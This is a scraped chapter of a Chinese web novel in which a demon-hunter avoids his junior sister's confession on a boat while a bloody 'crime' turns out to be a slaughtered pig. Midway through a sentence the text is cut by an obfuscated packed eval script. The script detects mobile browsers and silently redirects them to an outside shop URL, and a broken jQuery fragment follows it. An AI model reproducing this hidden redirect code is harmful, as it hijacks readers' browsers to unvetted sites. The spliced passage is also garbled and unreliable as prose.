文趣网 > 都市小说 > 山鬼师妹,拐了师兄做新郎 > 23. 他不让提
    船悠悠地开动,船舱里轻摇轻晃。

    顾修缘也不知在忙碌些什么,一会儿摸剑,一会儿整理被褥,一会儿打理头发,同样的动作重复好几次后。

    蓝迦既然看出来师兄知道了,也不想同他玩什么灯下黑的游戏,她一直记得,她来凡尘一趟,就是要寻找自己的新郎的。

    这样私密的空间,就很合适挑明了说,她坐到自己的床沿:“师兄?我有话想对你说。”

    顾修缘停下手中的动作,枯朽老木一样慢慢转过身看向蓝迦:“师妹有话想说?”

    蓝迦开门见山:"昨天晚上,师兄可记得我送师兄回房间..."

    她话没说完,顾修缘陡然躺倒,翻身对着船屋隔墙,伸手打了一个大大的哈欠:“哎呀,好困啊,怎么刚睡醒就困了,师妹,我补个觉,你不用叫我。”

    说完,他自顾自打起来雷霆鼾声,他没准备好怎么面对师妹,直接拒绝了又怕师妹伤了心,干脆像条癞皮狗罢。

    蓝迦从不知道师兄呼噜声能这么响的,装模作样。

    蓝迦没有睡觉,她蛰伏在一旁,等待一个非说不可的时机。

    她看见师兄又枕边亲昵地放着他那把配剑,那是师姐送的剑,虽然和她手上那把一模一样,可师兄那般喜欢到底是跟她没什么关系的,他还是心里念着师姐罢。

    蓝迦目光一沉,可是当初他非要捡她回天师阁,那他就应该是她的了。

    顾修缘这一觉睡得可真够久,久到他肚子咕噜噜叫了好几回都不愿醒,一直保持着同一个侧躺的姿势,一动不动,从青天白日睡到落日黄昏。

    蓝迦比他沉得住气,随他自己折磨自己,她也翻身睡觉去。

    忽然地,船舱外面一阵骚动,有人惊叫:“出事了,死人了。”

    蓝迦闻声,坐起身来,瞥了一眼一动不动的师兄,他既然为了不跟她讲话,连凑热闹也不积极了,蓝就就懒得等他,自顾自出了门,在船尾的一间船房,围了好一些人。

    每个人都面露惊恐,同时,顶大一股血腥味传来。

    蓝迦垂目,就看见那屋子门口,稀稀落落斑驳着一些血印子。

    蓝迦也围上去,很快她看见那间屋子里到处都是血,血迹都喷到天花板去了,着实吓人。

    看样子,这里确实出了命案。

    住这间屋子的妇人惊恐着大眼睛道:“今日一整天我和我相公都没在屋子里,在隔壁屋子陪着孩子,没想到这会儿回了屋,竟然发生这样的惨案,太吓人了,这船上定然藏匿着有歹人。”

    围观的人瞧见这妇人手牵着一个男孩儿,她的相公牵着另一个男孩儿,看着一家人挺齐整的,就道:“诶,造孽哟,你们家人谁死了?”

    那夫妇人的相公怒呵一声:“你家里才死人了。”

    围观的人:“没死啊?那这血是谁的?”

    就在众人又惊又吓之际,船员搜了搜屋子,除了到处都是血迹,没有任何尸体,找不到尸体。

    这也正常,这是在船上,很有可能歹人是把尸体扔下河里了。

    有人大声问:“谁家人不见了?”

    虽然大家都人心惶惶,可各自瞧了瞧身边人,没人出来叫屈。

    蓝迦瞧了一会儿,她隐约在那屋子里搜寻到一阵残留的妖气,应当是个无足挂齿的小妖留下的,而且现在并不在船上,她就回屋子去了。

    师兄还在床上呢,微微蠕动起来,莫名其妙的,蓝迦没管他。

    顾修缘这时小心翼翼发声:“师妹?”

    蓝迦:“师兄可还要睡?”

    顾修缘:“方才外面是不是出事了?”

    蓝迦:“嗯,有小妖作祟,但已经逃了。”

    顾修缘声音紧张:“可是害人性命了?”

    蓝迦看着顾修缘躺着面壁思过,用一个撅着的大腚瞧她,就很是无语:“师兄要是关心,自己瞧去好了。”

    “好,我自己瞧去。”

    蓝迦落座,顾修缘没有反应,又蠕动两下,终于是扛不住,可怜巴巴道:“师妹,可过来扶我一下。”

    蓝迦疑惑:“师兄怎么了?”

    顾修缘有点囧:"我睡麻了。"

    蓝迦走过去,搂住顾修缘的胳肢窝,把人挪坐到床边坐着。

    顾修缘"哎哟哟"两声,脖子也歪了,一手摸住脖颈:“谢谢师妹,我这是把脖子睡落枕了。”

    蓝迦无语得很,蓝迦瞧他这一整天压根也不是全然睡过去的,多半的时候在装睡,这笨师兄居然装睡把自己睡成了一棵歪脖子树。

    顾修缘心虚地困难地别着脖子抬眼,发现师妹没有什么异样,直愣愣站起来:"那师妹,我出去看看。"

    他刚行至门口,外面传来两声船员的声音,大声道:“各位稍安勿躁,没人被害命,方才船上检查了,货仓里少了一只大肥猪,那血闻着是猪血,也不知道是谁那么没素质,杀了头肥猪,把那猪血撇得船里到处都是。”

    顾修缘退了回来:“是杀了头猪啊。是有妖邪作祟吗?”

    蓝迦轻声“嗯”一声。

    顾修缘落回座位上,望着屋子外面,心思不愿意回来似的。

    蓝迦终于是忍无可忍,起身站到他面前。

    船屋本就小,她这样站着,腿就贴着他的膝盖。

    顾修缘脖子疼,抬不起来,只感觉师妹居高临下:“师妹,怎么了?”

    蓝迦:"那妖早就不在船上了,师兄既然睡醒了,可听我说两句?”

    又提这茬,师妹简直没完没了了,顾修缘思忖后,灵机一动,人就是太闲了才会想些莫名其妙的,想东想西,作为师兄,必须把师兄的架子摆起来。

    “师妹啊,师兄告诉你,这世界上,有句话叫当讲不当讲。”

    蓝迦皱眉:“师兄认为我不当讲?”

    顾修缘:“这会儿就不是当不当讲的问题,是时机不对的问题,你看啊,这船上可是出了件大事,我们身为捉妖师怎么能坐视不理。”

    蓝迦:“什么大事?”

    "猪嘛,猪没命了嘛。"

    “猪本来就是要没命的。”

    顾修缘一拍大腿:“那不一样,这猪被妖怪吃了,那就是损害了船上的财产嘛,作为捉妖师,咱们不能坐视不理,看样子,今晚上是不能睡了,师兄得打起精神来,把这妖怪给抓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668852|206240||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起来教育一顿,你的话就先别讲了,等到咱们回到天师阁,师兄得了空,会主动问你的。”

    他这话就是在暗示蓝迦自己已经知道了,希望师妹不要把话说出来,弄得师兄难堪。

    蓝迦:“如果你不问呢?”

    气氛忽然变得肃穆起来,师兄和师妹这对天然的同盟此刻好像站到了彼此的对立面,暗流涌动着一种对立的情愫。

    顾修缘终于是声音低低道:“那就不要说。”

    蓝迦到底是没让师兄难堪,她伸手搭在顾修缘的肩膀上。

    顾修缘心头一紧,怕年轻人做事莽撞,急道:“师妹,师兄年纪大了,经不住你吓,你不可逗弄师兄。”

    蓝迦没想亲他,她拽住他的脖子,揉了两下,咔擦两声,把顾修缘的脖子给修好了。

    蓝迦做完这些,自己躺回床上,背对着顾修缘,轻声道:“其实师兄知道的,我要说什么。”

    顾修缘揉了揉自己被修好的脖子,瞧着师妹的背影,忽然间恍惚,师妹是什么时候长大成这样的,她长大成这样,却还是一副没被照顾好的模样,背影纤薄,让人看了不忍呢。

    良久后,他决定不要装傻充愣了,他把自己放在长兄如父的角度,苦口婆心道:“你不说师兄就可以不知道,你还小,师兄谅解你做任何事,师兄不怪你,可是你不要说出来,你说出来,师兄会受不了。”

    蓝迦原本攒着的爱意,占有欲,胸有成竹的肯定的心意,这会儿在师兄的诚心诚意的话下,心口发软,不确定起来,有一种难捱的酸意。

    她像是被师兄蛊惑了,如果师兄吵吵扰扰着拒绝她,她可能根本不会把师兄的话放在眼里,因为师兄总是要惯着她的,可师兄这样说,她似乎只能接受。

    师兄说他会受不了,蓝迦怎么就觉得那么委屈呢。

    怎么就受不了了,师兄不是说好了长大了给她一个顶好的新郎吗,在她眼里师兄就是顶好的。

    蓝迦又轻声道:“偏心。"

    顾修缘:“怎么师兄又偏心了?”

    蓝迦:“师兄心里装了师姐就不装我了。”

    顾修缘原本语重心长,突然一愣:“你知道?”

    蓝迦:“我看得出来。”

    顾修缘有点尴尬,顿了顿:"那怎么能一样?"

    蓝迦无言。

    顾修缘觉得师妹难得孩子气,上前一步,提蓝迦牵了牵没有盖住她后背的被子,轻柔地拍了拍:“小师妹乖啊,要听师兄的话。”

    蓝迦实在难过,闭上眼睛,声音故意冷硬道:“师兄,你要实在想捉妖那就捉妖去吧,我睡了。”

    外面,天光已暗,两人的心情都沉闷得很。

    蓝迦沉闷是应该的,顾修缘沉闷是好像自己不答应师妹,就对不起师妹一样。

    顾修缘硬了硬心肠,虽然让师妹伤心了,但作为师兄,不能溺爱师妹的,不然不就乱了套了吗,师妹过几天就会忘了这事儿了,左右这件事是话到嘴边,没能真正挑出口,那就是都死在两人心里,是最好的。

    还好,师妹没说出来,他想通后就觉得庆幸了,他还是她的好师兄,她也还是他的小师妹。